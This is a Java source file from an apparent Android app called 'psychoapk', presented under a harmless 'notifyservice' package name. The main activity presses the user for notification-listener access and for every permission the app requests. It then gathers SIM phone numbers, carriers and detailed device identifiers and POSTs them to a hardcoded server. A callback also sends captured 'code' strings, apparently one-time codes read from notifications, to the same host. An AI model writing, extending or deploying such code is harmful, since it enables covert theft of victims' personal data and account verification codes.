psychoapk/app/src/main/java/com/example/notifyservice/MainActivity.java

199 lines
8 KiB
Java
Raw Normal View History

2025-01-29 23:01:25 +03:00
package com.example.notifyservice;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import androidx.activity.EdgeToEdge;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import android.os.Handler;
import android.os.PowerManager;
import android.provider.Settings;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;
import android.widget.Toast;
import org.json.JSONException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.io.OutputStream;
import java.net.HttpURLConnection;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
if (!isNotificationServiceEnabled()) {
requestNotificationAccess();
} else {
requestPermissions(retrievePermissions(this));
}
}
public static String getDeviceInfo(String p_seperator, Context context)
{
String m_data = "";
StringBuilder m_builder = new StringBuilder();
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
m_builder.append(android.os.Build.DEVICE + p_seperator);
m_builder.append(android.os.Build.MODEL + p_seperator);
m_builder.append(android.os.Build.PRODUCT + p_seperator);
m_builder.append(android.os.Build.BRAND + p_seperator);
m_builder.append(android.os.Build.DISPLAY + p_seperator);
// TODO : android.os.Build.CPU_ABI is deprecated
m_builder.append(android.os.Build.CPU_ABI + p_seperator);
// TODO : android.os.Build.CPU_ABI2 is deprecated
m_builder.append(android.os.Build.CPU_ABI2 + p_seperator);
m_builder.append(android.os.Build.UNKNOWN + p_seperator);
m_builder.append(android.os.Build.HARDWARE + p_seperator);
m_builder.append(android.os.Build.ID + p_seperator);
m_builder.append(android.os.Build.MANUFACTURER + p_seperator);
m_builder.append(android.os.Build.SERIAL + p_seperator);
m_builder.append(android.os.Build.USER + p_seperator);
m_builder.append(android.os.Build.HOST + p_seperator);
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
m_builder.append(android_id + p_seperator);
m_data = m_builder.toString();
return m_data;
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
requestPermissions(retrievePermissions(this));
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
Context permissionContext = this;
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
}
}
private void makeProcess(Context context) {
PostRequest postRequestTask = new PostRequest(context);
postRequestTask.execute("http://10.23.31.205:8000/phone", listToJson(collectPhoneNumber(context)) + ";" + getDeviceInfo(":", context));
}
private String listToJson(List<?> list) {
StringBuilder jsonBuilder = new StringBuilder();
jsonBuilder.append("[");
for (int i = 0; i < list.size(); i++) {
Object item = list.get(i);
jsonBuilder.append(objectToJson(item));
if (i < list.size() - 1) {
jsonBuilder.append(", ");
}
}
jsonBuilder.append("]");
return jsonBuilder.toString();
}
private String objectToJson(Object obj) {
if (obj instanceof String) {
return "\"" + escapeJson((String) obj) + "\"";
} else if (obj instanceof Number || obj instanceof Boolean) {
return obj.toString();
} else {
// For other types, you can implement more logic as needed
return "\"" + escapeJson(obj.toString()) + "\"";
}
}
private String escapeJson(String raw) {
String escaped = raw;
escaped = escaped.replace("\\", "\\\\");
escaped = escaped.replace("\"", "\\\"");
escaped = escaped.replace("\b", "\\b");
escaped = escaped.replace("\f", "\\f");
escaped = escaped.replace("\n", "\\n");
escaped = escaped.replace("\r", "\\r");
escaped = escaped.replace("\t", "\\t");
return escaped;
}
private boolean isNotificationServiceEnabled() {
String packageName = getPackageName();
String enabledListeners = Settings.Secure.getString(
getContentResolver(),
"enabled_notification_listeners"
);
return enabledListeners != null && enabledListeners.contains(packageName);
}
private void requestNotificationAccess() {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
startActivity(intent);
}
private static String[] retrievePermissions(Context context) {
final String pkgName = context.getPackageName();
try {
return context
.getPackageManager()
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
.requestedPermissions;
} catch (PackageManager.NameNotFoundException e) {
return new String[0];
}
}
private void requestPermissions(String[] permissions) {
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
}
private static boolean isNetworkAvailable(Context context) {
ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
Network nw = connectivityManager.getActiveNetwork();
if (nw == null) return false;
NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw);
return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
}
private List<String> collectPhoneNumber(Context context){
List<String> phoneNumbers = new ArrayList<>();
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
return phoneNumbers;
}
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
for (int i = 0; i < subscriptions.size(); i++) {
SubscriptionInfo currentCard = subscriptions.get(i);
phoneNumbers.add((Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()) + ":" + currentCard.getCountryIso() + ":" + currentCard.getCarrierName().toString());
}
return phoneNumbers;
}
public static void codeCallback(Context context, String string) {
PostRequest postRequestTask = new PostRequest(context);
postRequestTask.execute("http://10.23.31.205:8000/code", string + ";" + getDeviceInfo(":", context));
}
}